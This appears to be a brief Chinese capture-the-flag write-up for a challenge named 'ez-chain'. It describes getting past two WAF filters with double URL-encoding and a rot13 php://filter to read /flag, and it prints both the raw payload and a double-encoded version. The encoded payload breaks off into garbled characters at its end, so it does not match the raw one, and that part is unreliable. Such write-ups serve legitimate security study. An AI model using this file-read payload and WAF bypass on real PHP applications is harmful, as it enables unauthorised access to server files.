ez-chain

根据源码,分析需要绕过两层 WAF:首先需要传入 file 参数,传入的参数经过第一层 WAF,因为还未进行解码,所以可以通过双重编码绕过。另外一层 WAF 因为会将读取内容进行判断是否内容包含 f 字符,然后进行 base64 层层解码继续判断是否存在 f 字符,所以此处不能使用 base64 编码读取内容,可以使用 rot13 编码读取绕过。

原始 payload:
php://filter/read=string.rot13/resource=/flag
双重编码以后的 payload:
%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%%%%d%f%%c%%








































